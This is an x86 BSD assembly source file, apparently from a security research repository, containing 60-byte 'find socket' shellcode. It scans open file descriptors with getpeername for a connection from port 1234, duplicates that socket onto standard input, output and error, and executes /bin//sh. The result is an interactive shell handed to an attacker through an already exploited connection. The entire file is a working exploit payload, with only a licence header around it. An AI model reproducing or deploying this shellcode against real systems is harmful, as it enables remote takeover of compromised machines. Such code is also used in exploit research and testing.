76 lines
1.6 KiB
ArmAsm
76 lines
1.6 KiB
ArmAsm
|
/*
|
||
|
|
* $Id: bsd-x86-fndsockcode.s 2 2008-02-27 17:34:58Z ramon $
|
||
|
|
*
|
||
|
|
* bsd-x86-fndsockcode.s
|
||
|
|
* Copyright 2006 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||
|
|
*
|
||
|
|
* This library is free software; you can redistribute it and/or
|
||
|
|
* modify it under the terms of the GNU Lesser General Public
|
||
|
|
* License as published by the Free Software Foundation; either
|
||
|
|
* version 2.1 of the License, or (at your option) any later version.
|
||
|
|
*
|
||
|
|
* This library is distributed in the hope that it will be useful,
|
||
|
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||
|
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||
|
|
* Lesser General Public License for more details.
|
||
|
|
*
|
||
|
|
* You should have received a copy of the GNU Lesser General Public
|
||
|
|
* License along with this library; if not, write to the Free Software
|
||
|
|
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||
|
|
*
|
||
|
|
*/
|
||
|
|
|
||
|
|
.global _start
|
||
|
|
|
||
|
|
_start:
|
||
|
|
|
||
|
|
# 60 bytes
|
||
|
|
|
||
|
|
fndsockcode:
|
||
|
|
xorl %eax,%eax
|
||
|
|
pushl %eax
|
||
|
|
movl %esp,%edi
|
||
|
|
|
||
|
|
pushl $0x10
|
||
|
|
pushl %esp
|
||
|
|
pushl %edi
|
||
|
|
pushl %eax
|
||
|
|
pushl %eax
|
||
|
|
|
||
|
|
0:
|
||
|
|
popl %eax
|
||
|
|
popl %eax
|
||
|
|
incl %eax
|
||
|
|
pushl %eax
|
||
|
|
pushl %eax
|
||
|
|
pushl $0x1f
|
||
|
|
popl %eax
|
||
|
|
int $0x80
|
||
|
|
|
||
|
|
cmpw $0xd204,0x02(%edi)
|
||
|
|
jne 0b
|
||
|
|
|
||
|
|
pushl %eax
|
||
|
|
|
||
|
|
1:
|
||
|
|
pushl $0x5a
|
||
|
|
popl %eax
|
||
|
|
int $0x80
|
||
|
|
|
||
|
|
decl -0x10(%edi)
|
||
|
|
jns 1b
|
||
|
|
|
||
|
|
shellcode:
|
||
|
|
# xorl %eax,%eax
|
||
|
|
# pushl %eax
|
||
|
|
pushl $0x68732f2f
|
||
|
|
pushl $0x6e69622f
|
||
|
|
movl %esp,%ebx
|
||
|
|
pushl %eax
|
||
|
|
pushl %esp
|
||
|
|
pushl %ebx
|
||
|
|
pushl %eax
|
||
|
|
movb $0x3b,%al
|
||
|
|
int $0x80
|
||
|
|
|